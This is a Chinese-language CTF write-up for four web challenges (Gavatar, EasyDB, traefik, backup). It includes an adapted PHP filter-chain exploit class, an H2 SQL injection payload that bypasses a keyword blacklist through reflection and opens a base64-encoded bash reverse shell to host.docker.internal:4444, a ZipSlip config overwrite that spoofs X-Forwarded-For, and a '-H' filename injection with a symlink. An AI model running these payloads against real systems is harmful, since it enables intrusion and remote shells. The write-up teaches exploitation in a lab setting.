N1Junior
Gavatar
核心逻辑如下:
upload.php
<?php
require_once 'common.php';
$user = getCurrentUser();
if (!$user) header('Location: index.php');
$avatarDir = __DIR__ . '/avatars';
if (!is_dir($avatarDir)) mkdir($avatarDir, 0755);
$avatarPath = "$avatarDir/{$user['id']}";
if (!empty($_FILES['avatar']['tmp_name'])) {
$finfo = new finfo(FILEINFO_MIME_TYPE);
if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
die('Invalid file type');
}
move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
} elseif (!empty($_POST['url'])) {
$image = @file_get_contents($_POST['url']);
if ($image === false) die('Invalid URL');
file_put_contents($avatarPath, $image);
}
header('Location: profile.php');
可以看到文件上传的途径一共有两条,一种是上传本地文件,一种是读取外部文件.然而在读取外部文件的时候出现错误,使用file_get_contents去读取未经验证的url参数,构成了文件读取漏洞.
在/avatar.php中可以通过get传参?user=用户名去查看读取的文件,因此构成了任意文件读取漏洞.
然而在给出的源码存在提示,需要RCE去执行命令,因此想到了iconv攻击.修改的Remote类如下:
class Remote:
"""A helper class to send the payload and download files.
The logic of the exploit is always the same, but the exploit needs to know how to
download files (/proc/self/maps and libc) and how to send the payload.
The code here serves as an example that attacks a page that looks like:
```php
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
```
Tweak it to fit your target, and start the exploit.
"""
def __init__(self, url: str) -> None:
self.url = url
self.upload_url = url + "/upload.php"
self.avatar_url = url + "/avatar.php?user=admin"
self.session = Session()
cookies = {"PHPSESSID": "88fe4496c51624869b3cf365d24cc47c"}
self.session.cookies.update(cookies)
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
data = {'url': path}
files = {'avatar': ('', '', 'application/octet-stream')}
self.session.post(self.upload_url, data=data, files=files)
return self.session.get(self.avatar_url)
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
return base64.decode(response.text)
这里再重新记录一下三个函数的作用:init对session和url进行初始化,send是发出读文件的请求,最后需要返回一个带有读到的文件的response给download函数.download函数将文件内容返回.注意必须是文件内容,如果读文件时有其他多余的字符,则需要正则过滤掉.
poc的其他部分不需要进行修改.

写马蚁剑连接即可.
EasyDB
这题考察点是H2注入.先来看一下注入点:
public boolean validateUser(String username, String password) throws SQLException {
String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password);
if (!SecurityUtils.check(query)) {
return false;
}
try (Statement stmt = connection.createStatement()) {
stmt.executeQuery(query);
try (ResultSet resultSet = stmt.getResultSet()) {
return resultSet.next();
}
}
}
可以看到使用format去进行了字符串拼接,构成了H2注入漏洞.
正常的H2执行命令语句如下:
CREATE ALIAS hello AS $$ String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec("calc");return null;}$$;CALL EXEC ();
但是这里的问题在于题目使用 challenge.SecurityUtils#check 进行了黑名单过滤
public class SecurityUtils {
private static final HashSet<String> blackLists = new HashSet<>();
static {
blackLists.add("runtime");
blackLists.add("process");
blackLists.add("exec");
blackLists.add("shell");
blackLists.add("file");
blackLists.add("script");
blackLists.add("groovy");
}
public static boolean check(String sql) {
for (String keyword : blackLists) {
if (sql.toLowerCase().contains(keyword)) {
return false;
}
}
return true;
}
}
我们需要绕过上面的过滤才能实现 RCE
上面的过滤可以利用 Java 反射机制实现绕过,参考代码如下
Class c = Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="))); // java.lang.Runtime
java.lang.reflect.Method m1 = c.getMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ=="))); // getRuntime
Object o = m1.invoke(null);
java.lang.reflect.Method m2 = c.getMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw==")), String[].class); // exec
m2.invoke(o, new Object[]{new String[]{"/bin/bash", "-c", new String(java.util.Base64.getDecoder().decode("YmFzaCAtaSA+JiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA+JjE="))}}); // bash -i >& /dev/tcp/host.docker.internal/4444 0>&1
最终的 payload 如下, 注意需要对+号进行URL编码(非常重要,但是没好使应该是因为这个)
';CREATE ALIAS hello AS $$ String hello() throws Exception { Class c = Class.forName(new String(java.util.Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")));java.lang.reflect.Method m1 = c.getMethod(new String(java.util.Base64.getDecoder().decode("Z2V0UnVudGltZQ==")));Object o = m1.invoke(null);java.lang.reflect.Method m2 = c.getMethod(new String(java.util.Base64.getDecoder().decode("ZXhlYw==")), String[].class);m2.invoke(o, new Object[]{new String[]{"/bin/bash", "-c", new String(java.util.Base64.getDecoder().decode("YmFzaCAtaSA%2bJiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA%2bJjE="))}});return null; }$$; CALL hello();--
反弹shell后执行/readflag命令拿到flag
traefik
main.go:
package main
import (
"archive/zip"
"fmt"
"io"
"net/http"
"os"
"path/filepath"
"strings"
"github.com/gin-gonic/gin"
"github.com/google/uuid"
)
const uploadDir = "./uploads"
func unzipSimpleFile(file *zip.File, filePath string) error {
outFile, err := os.Create(filePath)
if err != nil {
return err
}
defer outFile.Close()
fileInArchive, err := file.Open()
if err != nil {
return err
}
defer fileInArchive.Close()
_, err = io.Copy(outFile, fileInArchive)
if err != nil {
return err
}
return nil
}
func unzipFile(zipPath, destDir string) error {
zipReader, err := zip.OpenReader(zipPath)
if err != nil {
return err
}
defer zipReader.Close()
for _, file := range zipReader.File {
filePath := filepath.Join(destDir, file.Name)
if file.FileInfo().IsDir() {
if err := os.MkdirAll(filePath, file.Mode()); err != nil {
return err
}
} else {
err = unzipSimpleFile(file, filePath)
if err != nil {
return err
}
}
}
return nil
}
func randFileName() string {
return uuid.New().String()
}
func main() {
r := gin.Default()
r.LoadHTMLGlob("templates/*")
r.GET("/flag", func(c *gin.Context) {
xForwardedFor := c.GetHeader("X-Forwarded-For")
if !strings.Contains(xForwardedFor, "127.0.0.1") {
c.JSON(400, gin.H{"error": "only localhost can get flag"})
return
}
flag := os.Getenv("FLAG")
if flag == "" {
flag = "flag{testflag}"
}
c.String(http.StatusOK, flag)
})
r.GET("/public/index", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", nil)
})
r.POST("/public/upload", func(c *gin.Context) {
file, err := c.FormFile("file")
if err != nil {
c.JSON(400, gin.H{"error": "File upload failed"})
return
}
randomFolder := randFileName()
destDir := filepath.Join(uploadDir, randomFolder)
if err := os.MkdirAll(destDir, 0755); err != nil {
c.JSON(500, gin.H{"error": "Failed to create directory"})
return
}
zipFilePath := filepath.Join(uploadDir, randomFolder+".zip")
if err := c.SaveUploadedFile(file, zipFilePath); err != nil {
c.JSON(500, gin.H{"error": "Failed to save uploaded file"})
return
}
if err := unzipFile(zipFilePath, destDir); err != nil {
c.JSON(500, gin.H{"error": "Failed to unzip file"})
return
}
c.JSON(200, gin.H{
"message": fmt.Sprintf("File uploaded and extracted successfully to %s", destDir),
})
})
r.Run(":8080")
}
可以看到是有ZipSlip漏洞的,同时存在/flag路由,如果可以ssrf的话就能够得到flag.
那么接下来就是去找文件覆盖的洞.traefik是一款反向代理工具,我们在conf目录下找到了dynamic.yml配置文件如下:
# Dynamic configuration
http:
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
可以将其覆盖,配置新的/flag路由,同时添加组件实现ssrf
# Dynamic configuration
http:
services:
proxy:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
middlewares:
add-x-forwarded-for:
headers:
customRequestHeaders:
X-Forwarded-For: "127.0.0.1"
routers:
index:
rule: Path(`/public/index`)
entrypoints: [web]
service: proxy
upload:
rule: Path(`/public/upload`)
entrypoints: [web]
service: proxy
flag:
rule: Path(`/flag`)
entrypoints: [web]
service: proxy
middlewares:
- add-x-forwarded-for
比赛时没做出来,因为传的yml文件中没配置x-forwarded-for的middlewares
backup
在源码的最下面存在注释:
$cmd = $_REQUEST["__2025.happy.new.year"]
可以通过传参_[2025.happy.new.year去进行弹shell
拿到shell以后找不到提权,发现根目录下有backup.sh,查看如下:
#!/bin/bash
cd /var/www/html/primary
while :
do
cp -P * /var/www/html/backup/
chmod 755 -R /var/www/html/backup/
sleep 15s
那我们就首先想到了软链接.然而就有个问题,一般的cp -P并不会带出来软链接的文件,需要有-H参数才行.
这里就要去打一个命令注入.在primary目录下去创建一个文件名位-H,然后再去创建一个软链接.
ln -s /flag flag
15秒后去backup目录查看flag.

浙公网安备 33010602011771号